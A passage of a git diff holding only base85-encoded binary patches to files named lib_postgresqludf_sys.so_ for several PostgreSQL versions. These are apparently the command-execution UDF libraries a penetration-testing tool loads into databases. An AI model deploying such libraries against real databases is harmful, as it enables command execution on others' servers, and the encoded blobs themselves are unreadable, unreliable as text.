zQ2JT(;oq*oC(UiAg>oyC)=-twn1vDJ{FiPi_nTt!n;L-fvQ^VU3{-jWj?j4G zn7fC#BQx_lLCUd=k|1n=9Z=n<=EEC7sixLk5Q;{uR33I~h{qjiukHe`lR%#J+`{op z0B-;13hmg38G?&-NL%_oEq5sA3}gCe1(LLcC+U(~4L>z#GRCC=c4fs{Bd}JSClB@$ za+Qis6}s3KxZN$)4KcO(ljXVP2!oEsu+4VT6@PPVm?BBBr>aFb-RHeNeuX*-P20}N zwSJfFP4DNX$3TEUr0bUbq+_iQie>WBl_R^~*%6;C4kJh14t%5laSQB=V1}Z#9W}QJ A+5i9m literal 2018 zcmV<82Oani?zUk%98!UFttm!;VqrQuWr?;90{auY);0Tk#4Z_j?j36uX>2w#6j_|u z*FU#viSH8>!febJw@qM4>_+8tCti;XxkEYFz@7RaSJ1yE{cCv30ezoQ-i!bpftu-m!77^{) zhD-pOXJwvYY3sL)p@lqaW_eB_p#H^2R%^<>cpW9lTeCCqZ=la=5as`c9Wl>i*i>@I zn*qwX=dLb~=X8!=v{F`bjY;e9Uk{&qC?OutZ7IK9u<*!nO6x6MfeXvj$h|2H1;)z5t z{nrnWh8jAU&A!fb+O}~E$rGemlzkvit#Zm^sk;7l!AMuNlXmOV3Wnl4#4++2bAsgz zo5lUuV@$2RaEx8Tq~gA7L0$5;&uV?US7C@s3*4Q!ieyd1^4!B0h(O!nEwo+W|Jp03 ze9sl94#9!wf!!sE5@9R2kRjH73AhMrs(58n5fc8!Je4G2sFIICh zUPS%ymZqShZ0M~_&$fiSQJ6MXOBqf7fRj^7Gk6x&++Kdm^~&^=H&8;5)J!Mn!KEh_ zLl*3=-Bl1?pfk=4#_3IpBN~(eb!=KlpcY>-uz@}Dux(H@q%e#BCJfSC_Zh8NRQUOK z&uj4`p3qmp1yIL^YnSWg_G*sXHxis?+GBV$<4A5nN`qQ;y2A{Eq_;apJGGxba6IeK zN_cSG9NFxYJ>6U_#3S7b_<%gHOQ~Y9e(0Kx>OHzrv^o-UhE&EZ@GoX$qrs z>B0SwOk$dS{Us#I7#aj}hVaDL*!i+s7RSf-6&4rpG1MMsOna5(&$324FWTX`!?Nbf zCSi>FzAL>=t+P6Cw~)RiJ8Y`xT0RR@M?p99ND(T<1HmROY=SBH?0(QqlYVp_L5|D0 zTty&AcWk>TQ}OCL*FkZLe{&KLU(~a0Ogm4G*Gi5|77wnPC+4>VYC|KP7g_h#I-tRk zKU1-Q*v?WXW9=k<$^aL)8cs-HPA@9{BmUv%zA1kH80yjYFp0V z20|dbiN&*Ehq8S8>@tJk7nx69Ot@4FflxyMJf=R0w_?+}@DW=!M27uUwUrhpX{w7F zsS2Af=tYm{MY}J@>03O2_n^TZ(MfL~(NN#&zTfn`I2Ymx04W;ERn#BuLu@dcc?NZX z&(km_z2EcbvYl5~h(ebc=h>9(bzQOl1k@{)yZ(ah{R4D-nCG`6H8FU!3M482vaC92oZP(bOfsQ(i-Ac(_&D1VirTi`e6eJXY zu$e*Q%bNeDQoq;{!)qzygOC3GfbQ~Gi|fp*X(WQDyHg3BbUE#UZIc}l&JqM8=tM@$kxNBt0VRM{p=_SKTtvY7&7rYYYso~fY7c*_}B*T(7eR#I=_ zVY~!@_VSSPAI^N2gj8<6=N8DJkEk!v#FT$_JR70m#@#=Gj5of(idMpM4RSo)zm_GD zkCwTL8!+MuKMl3Vq|6-oOfRsDP7kAaVCukaJ+H8P~hlEeJSImOepr{GB7Eqr2JnFI`+mh2cy%F2TbMusanO#O@G zggDBcTEf|s|3i^*rOngOl_l_eok+~!tstuJ*f-h%KV=%O8Bv-tNeKPBVW8)jETDY` AkN^Mx diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ index 0e79dbb195ab91e4e831fe289be943f6da4465f1..b99ca82a6e1f540ad5d9e01c172c26bc89501139 100644 GIT binary patch literal 2016 zcmV<62Osz%-|#$1D|eqx6{8pSF4(m`H_=a$=D=fs%slMCV)3gOQKsHCj&!=v4Amj% z6eyll7P0F2&nKH+Y&Vr|7NhR;;Vj#E-n^Yajv@~h zisR?)u#dlPtxz9GjIX|}l#bQG`IDxogvpt~0{2l;j~|l81dYPp+rcN*$|FP;CmvXe zhl(VSPpCm87c>eS^#AxfQ)=iD*wacl=Q$HkB%pfyD2o^L6ss5~z!4(-4b;~PEahJiItRKn}y zPNLyY>yMEFSJYHk7$0kPd`go1#v-2#%-=kj&(g;f?F)_TK)c{9nPRN4`O4b>JP?)- zq#hxzLCTOTIKCD$@sY;;dg~Xd48^mdQw{Q~|L9E1h%7eDj++l!P@o-XM9vubl4P|r z`)B}q;I;{+&QWxdzZ+htLV-qe9Y~V7*LZ2_^2lT+ zm<_`*XUZVNN1@|$l@9qM_F0m;o!LyyUGBFjq|SOvJjJg7iGmRitKfc z!ijSK8SFpmu--JO6UR-=U_R^FqM);8it7q2Of(2pi;@`H7-#lgs505FaDl2-yKIvw zVqb=;+PRRw29u9N^LCM0U|;q)lqP^00DHG@r1_j3hlNziBW45}-wXS5-Q7ul3vRqt zeiE{Dr=YB{0;705tMk#Prazei-eX}2ryV%{RPTXejM~}`T6u8wr~aHz9>7oT7gb`y zNMg7lrm*oLd&P5R(Kj}W$gp%6F(I8oG4K7F$$p#+N%S6Huy4Ru_EVIElLz*a==mfNQ7q zrxx8hJ*QGM#&%Q`OHC3osVDZbK8&_xIU+@mXOhxaHQs4 z*ayYFB*E1%;KX3Sq|Zp*OTNT%cs%Mrdq9ksd-Ky)#Jg2;e*kuN7MjzSZU)xJAa)8T zt;L}H+eh~`-&TYw6G`Ge{dvru;-uSLMIe=J$8Sk0$2({dTa71^{|0Ds4vhr#g?7e> zyE{3KYye4S4Ogk^cp%KsA1YdA(pHT7#d<5~O@&A;Z6!s?kW`SmUw1b&y#)-zF@fM& zjqvH1B%l%!_Hr8fb&D?Ufe-F+MqEc0?iaA6NbskedkN`9qnr+?W^ksl~`e5Hm`I z{hok$n3uh(;S1NWXp45Pk{GQ1YEcAg{fyEKYZ5+oo}Q7g){?@tqh`=N7OF-!(`OQz zBhm_op~1l0D)fh0w^4Xk=}_MlSfoG%OQ-NtU(CwnEBLFQyCQgUjr$eQ9)!TIg zGr-zPny4@%qux3L_Z99yHlx2J%?A_6o1mi_t}MI}5MT_)LRYK^_mA(|qq5OTC!6Q{ zeqgH~7p>O4+qWLD>#S6lfC-YH=jV~Qs{w=b{o#x;zeabMd1(`spS><9?hK*ue4U5*`nYfvewo| zQN1w&kbKwL0ho&Zt>^uo)Hbzkj}8N6vN5crv*qXdBeSg7OTz!%bNR0JvYU9pfz(cs zE$YH}>}Dyghm@ea!MqiR>IfJQ%W7i3FNqu&pk}*yYg>3yi4cx9v4ZmS?4Wt7Job-> z5Aw2x(@l9M)QOE+S^kRKGQZUMF=QrCSIue!Wf&Veqq;1K*ukZ%w)oTJzxE*ggPjb4 z@)VebD}GN@4?=!w(yq8yr#{Z$8ZJz0vfH6#72-sI4pE`Y)8cZ zdWlGopAa8uvuGnmN-EONAMT9Vx;d6t0SysWtP!Lz3ZC+Ii$lI?eh){d2}yGs_5n?I zfYiAuxG{}a?zzDuH=ycB^ujvqn>G2ee)t<|wra@_>2u0*6#wCOUNPTW`P22Sbg9(? zxt8#)T_cQnsA?A4wrNvjUjly5QTJInH;YClk<5J~+|;hzVeGK*!lfCf)?3!d9L|Ma z#;aKN-4g4_GQUI|VaUaR?u?#)UJRE_?K`L>V>74&;di8_t(VIW9~0}_=f@m=o^zOM y!m7rGzdk?qv650sHr(g|Tay1UGv~BSs$1~iyYD>q8I|}3pF1V5_R3Tt7_V;M-v2uQ literal 2016 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 CPWy@g literal 2020 zcmVr0(hvidTtf08-6!{Fc;b5f4cx@gp{1yjj zA%PR7y;Z4_KoI$+Kc$O|N!02#zjT@3A?Tsy4UrNyVyi=-lSZ%k--a(Jm^kwt>iZ~; z=1jnmNFKWu=BD+UEAAX?W*JT)SpLMrm!k^7_;|cD5%PZ1r;Uh-h!bsrHFJnSGEVmh z;Nt!pRn;;HXColQY(s=$qgdL|HrY7SVAoft-&t5<3pThw&tz?NfPRE%R}gU+=a9qG^TEZYKcpEIuTJPXfs|ezxy#&Ak2a2Wr-M79Bi$rGem)Quuft$RwtyiBqxn~ByuL#G2?EDp~~LB?iIbjXpA z8UEO9gT%ku@-btD4ScL_)Bz}~>BdqT6S%3U3kbX;ZK{tvi)|Ug&6#jnSUA$(-hG6B zij?yBK&BbA1jxZ6ZIWM3E-}hwcb7R~tvSAR=aK2Rz0~gdR5f|2DAl*mgpW6iX3x3R zO|A;5l-j@a4V^HrbIyU(P1Zvm+fwcKiG!{Lw8#gg^;Nh<`;cvzL8l-%CZZB!RkL(! z!An{sl#Im}p&&e|!_b0*Ipu8qL2_r48eslb+ki*6fE2Gj9AIj`W!%O07)A`5kYzS2 zD)7U<`39Lh5<)}TP)eoil4o`WCdESL<`N*I%&&Mc9rjFEfwq!Fue@ha zKIkF4JqdAT0Lzt0mY_d9cv*b7xg4RlW2<6-)w4}Z_2z4018-o7A^PhA_^r7khV?V- z0F}Nb_0$#nqCD=0_VcS{7`sMAF3*0Xwynn}d|Q0+g6y)ubydN@ zP1CMJ?h;JvGPjR9+(B`QeieQ$Lzs7ZjWfg(SWbp`77wn9M4J6+)H-^&KIQ9^f7$oM2o7Z33}p6bKdWemrDYO9??UbvX-& zh}){FijtNI-nAL3QM9gAJt9GFi~>l6_(^}MyaS#zob!v4)!p(;1TK`>ZG53yYv5pd zu^96m8|3YtaMoknnNb{A4?e3w)?`v%U}^*Vzvxbz%q;Hor)ukf*>zP{iH>=U_-%%l z7*Nlj`5gwRxMLC2H~lUGsOKclGa~Jf&hNO246mPLXH>^TW35g6X_EAS(844WUutcb zaK%NCtLqjbjhvo&>CTlujPEGGO$6Hhr$P^~F$#i(6T=ecA@iD-P}IAC=>o@}*f7iE9jrHkaa%wmmNB>9jU)Tf4ngplPn=YsvfIub_E&?Kicjl#x7>Ky*?2yo^tTTB`EWR|wQDCV1?%g;7d(BiQGBop@pS z3HRg-XJzMhaJI|})DT~~%a*;r&3p{Es4^qol8AFy>KzX&+STcGnD{6=jekpD3GE?; z1>luOuaC4tK1yksQ?JB^u;1#3XzqFeS;wVB7{3F&kDZ4Qqoh)8q#!|i$(=K0@Yu&~ C=KkLR diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ index 506b0eb35671278a8a91d433ac80319bfa75a044..06fb9c5c4020cdfd61d00a65fa7ddf6dd8989d6c 100644 GIT binary patch literal 2729 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 diff --git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ index ef49da86edcc8e23056ed750e5b5c71ff4778404..7cccc431ae23149bfdd5d9ba244f17b3a4e30b16 100644 GIT binary patch literal 2652 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 KOPfjRZn+$-YA!?o literal 2652 